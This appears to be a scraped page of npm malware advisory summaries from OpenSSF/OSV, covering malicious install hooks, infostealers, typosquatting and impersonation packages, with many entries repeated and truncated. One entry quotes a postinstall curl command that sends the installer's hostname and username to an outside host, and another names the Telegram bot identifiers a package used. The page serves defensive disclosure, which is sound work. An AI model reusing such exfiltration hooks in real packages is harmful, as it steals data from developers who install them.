npm advisory reports, with evidence.
Investigate malicious npm packages reported through OSV and public advisories. Each report identifies the package version, supporting evidence, advisory sources, and current Firewall decision.
Security reports — page 541
Updated 25 Oct 2026, 15:56 UTC. Ordered by latest scan.
OpenSSF/OSV malware advisory MAL-2026-6459 blocks this version. package.json declares a postinstall lifecycle script that automatically runs on npm install and executes roughly 25 curl PO...
OpenSSF/OSV malware advisory MAL-2026-5979 blocks this version. OSV/OpenSSF confirms easy-day-js@1.11.22 as malicious package MAL-2026-5979. Malicious code in easy-day-js (npm)
OpenSSF/OSV malware advisory MAL-2026-5749 blocks this version. package.json declares a postinstall hook that runs `curl http://npm.wdf1.eyes.sh/pre?h=$(hostname)&u=&(whoami)` over plain...
OpenSSF/OSV malware advisory MAL-2026-4345 blocks this version. Part of a multi-package malicious campaign by npm author `toskypi`, `eo-terminal` is a fully-featured infostealer and remot...
OpenSSF/OSV malware advisory MAL-2026-4345 blocks this version. Part of a multi-package malicious campaign by npm author `toskypi`, `eo-terminal` is a fully-featured infostealer and remot...
OpenSSF/OSV malware advisory MAL-2026-5286 blocks this version. The OpenSSF Package Analysis project identified 'encrypted-archive' @ 99.0.0 (npm) as malicious.
OpenSSF/OSV malware advisory MAL-2026-4551 blocks this version. package.json declares `"postinstall": "node install.js"`, which runs at install time. install.js requires both `child_proce...
OpenSSF/OSV malware advisory MAL-2026-4551 blocks this version. package.json declares `"postinstall": "node install.js"`, which runs at install time. install.js requires both `child_proce...
OpenSSF/OSV malware advisory MAL-2026-6158 blocks this version. The npm package `enzyme-optimization-bluetooth` (published by npm user `sproger`, slavatopbuyer@gmail.com) is a deceptive R...
OpenSSF/OSV malware advisory MAL-2026-3759 blocks this version. Package `env-threads` impersonates the legitimate `dotenv` package: its README, repository URL (`git://github.com/motdotla/...
OpenSSF/OSV malware advisory MAL-2026-3259 blocks this version. Dependency confusion and typosquatting campaign by threat actor "saif777". Packages use inflated version numbers (9999.9999...
OpenSSF/OSV malware advisory MAL-2026-4568 blocks this version. src/config.js hardcodes a live Telegram bot token (bot id 8656735452) and a default groupId (-1003974755050) pointing at a...
OpenSSF/OSV malware advisory MAL-2026-4568 blocks this version. src/config.js hardcodes a live Telegram bot token (bot id 8656735452) and a default groupId (-1003974755050) pointing at a...
OpenSSF/OSV malware advisory MAL-2025-49410 blocks this version. package.json declares "preinstall": "node index.js", causing index.js to execute automatically on npm install. The script...
OpenSSF/OSV malware advisory MAL-2025-49410 blocks this version. package.json declares "preinstall": "node index.js", causing index.js to execute automatically on npm install. The script...
OpenSSF/OSV malware advisory MAL-2026-4567 blocks this version. On install, scripts/postinstall-message.mjs reads the consumer project's package.json via process.env.INIT_CWD, and if free...
OpenSSF/OSV malware advisory MAL-2026-4567 blocks this version. On install, scripts/postinstall-message.mjs reads the consumer project's package.json via process.env.INIT_CWD, and if free...
OpenSSF/OSV malware advisory MAL-2026-4567 blocks this version. On install, scripts/postinstall-message.mjs reads the consumer project's package.json via process.env.INIT_CWD, and if free...
OpenSSF/OSV malware advisory MAL-2026-4567 blocks this version. On install, scripts/postinstall-message.mjs reads the consumer project's package.json via process.env.INIT_CWD, and if free...
OpenSSF/OSV malware advisory MAL-2026-4567 blocks this version. On install, scripts/postinstall-message.mjs reads the consumer project's package.json via process.env.INIT_CWD, and if free...
OpenSSF/OSV malware advisory MAL-2026-4567 blocks this version. On install, scripts/postinstall-message.mjs reads the consumer project's package.json via process.env.INIT_CWD, and if free...
OpenSSF/OSV malware advisory MAL-2026-4567 blocks this version. On install, scripts/postinstall-message.mjs reads the consumer project's package.json via process.env.INIT_CWD, and if free...
OpenSSF/OSV malware advisory MAL-2026-4567 blocks this version. On install, scripts/postinstall-message.mjs reads the consumer project's package.json via process.env.INIT_CWD, and if free...
OpenSSF/OSV malware advisory MAL-2026-6232 blocks this version. Package name 'free-claude' and author 'anthropic-claude' impersonate Anthropic's Claude product, with a README claiming to...
OpenSSF/OSV malware advisory MAL-2026-6232 blocks this version. Package name 'free-claude' and author 'anthropic-claude' impersonate Anthropic's Claude product, with a README claiming to...